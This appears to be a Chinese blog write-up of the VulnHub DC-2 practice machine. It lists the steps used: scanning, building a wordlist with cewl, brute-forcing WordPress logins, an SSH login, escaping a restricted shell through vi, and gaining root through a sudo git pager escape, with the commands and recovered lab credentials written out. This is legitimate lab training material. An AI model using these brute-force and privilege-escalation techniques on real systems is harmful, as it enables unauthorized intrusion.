DC-2 靶场通关小记

地址 https://www.vulnhub.com/entry/dc-2,311/

环境配置

修改hosts文件

Windows:C:\Windows\System32\drivers\etc\hosts

Linux:/etc/hosts

在最下面添加192.168.74.130 dc-2 (配置为靶场虚拟机实际IP)

主机发现

fscan.exe -h 192.168.74.0/24 -nobr -nopoc

image.png

信息收集 (flag1, flag2)

访问http://dc-2/,是WordPress站点,发现flag1

image.png

扫你后台

python dirsearch.py -u http://dc-2/

# get
200     7KB  http://dc-2/license.txt
200     3KB  http://dc-2/readme.html
200     1B   http://dc-2/wp-admin/admin-ajax.php
200     0B   http://dc-2/wp-config.php
200     0B   http://dc-2/wp-content/
200   528B   http://dc-2/wp-admin/install.php
200    84B   http://dc-2/wp-content/plugins/akismet/akismet.php
200     4KB  http://dc-2/wp-includes/
200     0B   http://dc-2/wp-cron.php
200     1KB  http://dc-2/wp-login.php

使用cmseek扫描网站 python cmseek.py -u http://dc-2/

image.png

用自己的top3000去爆破,爆不出来

image.png

flag1 提示

Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.
您通常使用的单词表可能不起作用,因此,您可能只需要 cewl。 

More passwords is always better, but sometimes you just can’t win them all.
密码越多越好,但有时您无法赢得所有密码。 

Log in as one to see the next flag.
以一个身份登录,查看下一个旗帜。 

If you can’t find it, log in as another.
如果找不到,则以另一个身份登录。

使用cewl工具生成自定义词典

cewl 是一款 Ruby 应用程序,它能将给定 URL 搜索到指定深度,并可选择跟踪外部链接,然后返回单词列表

生成自定义词典

cewl http://dc-2 > cus.txt

导入后,依次爆破admin,tom,jerry

image.png

image.png

整理信息

tom/parturient
jerry/adipiscing

使用jerry登录获取flag2,(tom权限过低)

image.png

如果你不能利用WordPress并走捷径,还有另一种方法。
希望你找到了另一个切入点

尝试GetShell (flag3)

利用文件上传的功能测试点,发现无法上传正常的图片文件

image.png

Unable to create directory wp-content/uploads/2024/12. Is its parent directory writable by the server?可能没有写权限

蒙了,看网上提示,fscan对目标扫描全端口试试

fscan.exe -h 192.168.74.130 -p 1-65535

image.png

nmap来个指纹识别 nmap -A 192.168.74.130 -p 7744 -T 4

image.png

尝试SSH登录

7744是SSH端口,根据刚刚wordpress获取的两套账密,尝试登录

tom/parturient
jerry/adipiscing

成功使用tom用户登录

image.png

tom家目录获取flag3.txt内容如下

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

提示我们使用su命令

tom登录的shell是rshell,受限终端,需要提权

rbash提权

尝试常见提权

less, vi命令可用

使用vi命令提权

tom@DC-2:~$ vi shell.txt
:set shell=/bin/bash  
:shell

获取root权限(flag4、flag5)

当前使用命令仍然受限,检查环境变量

echo $PATH

修正环境变量

export PATH=$PATH:/usr/bin:/bin

切换到jerry

tom@DC-2:~$ su jerry
Password:#adipiscing
jerry@DC-2:/home/tom$

获取flag4

jerry@DC-2:/home/tom$ cd ~
jerry@DC-2:~$ ls
flag4.txt
jerry@DC-2:~$ cat flag4.txt
#Good to see that you've made it this far - but you're not home yet.

#You still need to get the final flag (the only flag that really counts!!!).

#No hints here - you're on your own now.  :-)

#Go on - git outta here!!!!

git命令提权

sudo git help config

sudo git  -p help

# 终端输入 !/bin/bash 或者 !/bin/sh

完成提权,获取final-flag.txt

image.png

posted @ 2025-01-06 10:45  lrui1  阅读(70)  评论(0)    收藏  举报